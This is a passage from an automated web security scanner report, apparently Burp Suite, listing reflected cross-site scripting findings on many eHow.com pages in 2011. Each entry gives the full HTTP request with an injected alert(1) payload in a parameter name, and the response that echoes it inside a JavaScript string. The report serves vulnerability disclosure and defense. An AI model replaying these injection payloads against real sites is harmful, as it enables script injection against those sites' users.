HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:58 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70812
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Electronics - How To Information | eHow.com</titl ...[SNIP]... <fb:like href="http://www.ehow.com/electronics/?535c5'-alert(1)-'e8bfb8c2480=1" ref="like" width="300"> ...[SNIP]...
4.359. http://www.ehow.com/family-health/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/family-health/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3603c'-alert(1)-'0c79c8c5b9e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /family-health/?3603c'-alert(1)-'0c79c8c5b9e=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:58 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72073
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Family Health - How To Information | eHow.com</ti ...[SNIP]... <fb:like href="http://www.ehow.com/family-health/?3603c'-alert(1)-'0c79c8c5b9e=1" ref="like" width="300"> ...[SNIP]...
4.360. http://www.ehow.com/fashion-and-style/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/fashion-and-style/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e622d'-alert(1)-'816f55ab996 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /fashion-and-style/?e622d'-alert(1)-'816f55ab996=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:00 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71917
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Fashion & Style - How To Information | eHow.com</ ...[SNIP]... <fb:like href="http://www.ehow.com/fashion-and-style/?e622d'-alert(1)-'816f55ab996=1" ref="like" width="300"> ...[SNIP]...
4.361. http://www.ehow.com/fitness/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/fitness/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1122d'-alert(1)-'dc35503d8e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /fitness/?1122d'-alert(1)-'dc35503d8e3=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:59 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71761
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Fitness - How To Information | eHow.com</title>
4.362. http://www.ehow.com/food-and-drink/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/food-and-drink/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7dc0e'-alert(1)-'5a32fd4a744 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /food-and-drink/?7dc0e'-alert(1)-'5a32fd4a744=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:12:58 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73340
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Food & Drink - How To Information | eHow.com</tit ...[SNIP]... <fb:like href="http://www.ehow.com/food-and-drink/?7dc0e'-alert(1)-'5a32fd4a744=1" ref="like" width="300"> ...[SNIP]...
4.363. http://www.ehow.com/healthcare/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/healthcare/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f9aaa'-alert(1)-'75a70bf2071 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /healthcare/?f9aaa'-alert(1)-'75a70bf2071=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:13 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71152
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Healthcare - How To Information | eHow.com</title ...[SNIP]... <fb:like href="http://www.ehow.com/healthcare/?f9aaa'-alert(1)-'75a70bf2071=1" ref="like" width="300"> ...[SNIP]...
4.364. http://www.ehow.com/healthy-living/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/healthy-living/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9f38f'-alert(1)-'8c7b03448 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /healthy-living/?9f38f'-alert(1)-'8c7b03448=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:17 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 68271
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Healthy Living - How To Information | eHow.com</t ...[SNIP]... <fb:like href="http://www.ehow.com/healthy-living/?9f38f'-alert(1)-'8c7b03448=1" ref="like" width="300"> ...[SNIP]...
4.365. http://www.ehow.com/hobbies-and-science/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/hobbies-and-science/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e398d'-alert(1)-'06fc955b57a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /hobbies-and-science/?e398d'-alert(1)-'06fc955b57a=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:17 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72225
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Hobbies & Science - How To Information | eHow.com ...[SNIP]... <fb:like href="http://www.ehow.com/hobbies-and-science/?e398d'-alert(1)-'06fc955b57a=1" ref="like" width="300"> ...[SNIP]...
4.366. http://www.ehow.com/holidays-and-celebrations/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/holidays-and-celebrations/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 506ce'-alert(1)-'b3c6ff17c61 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /holidays-and-celebrations/?506ce'-alert(1)-'b3c6ff17c61=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:19 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73326
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Holidays & Celebrations - How To Information | eH ...[SNIP]... <fb:like href="http://www.ehow.com/holidays-and-celebrations/?506ce'-alert(1)-'b3c6ff17c61=1" ref="like" width="300"> ...[SNIP]...
4.367. http://www.ehow.com/home-building-and-remodeling/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/home-building-and-remodeling/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ed847'-alert(1)-'467cb45ab89 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /home-building-and-remodeling/?ed847'-alert(1)-'467cb45ab89=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:18 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72331
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Home Building & Remodeling - How To Information | ...[SNIP]... <fb:like href="http://www.ehow.com/home-building-and-remodeling/?ed847'-alert(1)-'467cb45ab89=1" ref="like" width="300"> ...[SNIP]...
4.368. http://www.ehow.com/home-design-and-decorating/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/home-design-and-decorating/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 30749'-alert(1)-'96a91f5fd07 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /home-design-and-decorating/?30749'-alert(1)-'96a91f5fd07=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:18 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72667
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Home Design & Decorating - How To Information | e ...[SNIP]... <fb:like href="http://www.ehow.com/home-design-and-decorating/?30749'-alert(1)-'96a91f5fd07=1" ref="like" width="300"> ...[SNIP]...
4.369. http://www.ehow.com/home-maintenance-and-repair/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/home-maintenance-and-repair/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9888d'-alert(1)-'5944bfd28d9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /home-maintenance-and-repair/?9888d'-alert(1)-'5944bfd28d9=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:18 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73411
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Home Maintenance & Repair - How To Information | ...[SNIP]... <fb:like href="http://www.ehow.com/home-maintenance-and-repair/?9888d'-alert(1)-'5944bfd28d9=1" ref="like" width="300"> ...[SNIP]...
4.370. http://www.ehow.com/home-safety-and-household-tips/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/home-safety-and-household-tips/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ef6bc'-alert(1)-'0b251195974 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /home-safety-and-household-tips/?ef6bc'-alert(1)-'0b251195974=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:16 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70494
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Home Safety & Household Tips - How To Information ...[SNIP]... <fb:like href="http://www.ehow.com/home-safety-and-household-tips/?ef6bc'-alert(1)-'0b251195974=1" ref="like" width="300"> ...[SNIP]...
4.371. http://www.ehow.com/housekeeping/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/housekeeping/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 78bd5'-alert(1)-'57433244f77 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /housekeeping/?78bd5'-alert(1)-'57433244f77=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:18 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71760
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Housekeeping - How To Information | eHow.com</tit ...[SNIP]... <fb:like href="http://www.ehow.com/housekeeping/?78bd5'-alert(1)-'57433244f77=1" ref="like" width="300"> ...[SNIP]...
4.372. http://www.ehow.com/how_13299_know-someone-lying.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_13299_know-someone-lying.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dcda3'-alert(1)-'e5bc67b4dc4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_13299_know-someone-lying.html?dcda3'-alert(1)-'e5bc67b4dc4=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:07 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 81599
4.373. http://www.ehow.com/how_2053743_make-crock-pot-pork-roast.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_2053743_make-crock-pot-pork-roast.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e87e0'-alert(1)-'d9cba84b7c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_2053743_make-crock-pot-pork-roast.html?e87e0'-alert(1)-'d9cba84b7c=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:49 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75941
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Make a Crock Pot Pork Roast | eHow.com</ti ...[SNIP]... <script language="javascript" type="text/javascript"> try { var OriginalURL = '/how_2053743_make-crock-pot-pork-roast.html?e87e0'-alert(1)-'d9cba84b7c=1'; } catch (e) { OriginalURL = ''; } try { if ((typeof(OriginalURL) == 'undefined') || (OriginalURL == null) || (OriginalURL == '')) { window.OriginalURL = '/how_2053743_make-crock-pot-po ...[SNIP]...
4.374. http://www.ehow.com/how_2077554_repair-cracks-dashboard.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_2077554_repair-cracks-dashboard.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6dcbd'-alert(1)-'5482c536ab0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /how_2077554_repair-cracks-dashboard.html?6dcbd'-alert(1)-'5482c536ab0=1 HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:06 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75255
4.375. http://www.ehow.com/how_2113353_end-sibling-feuds.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ehow.com
Path:
/how_2113353_end-sibling-feuds.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3cb73'-alert(1)-'4756d1fe387 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
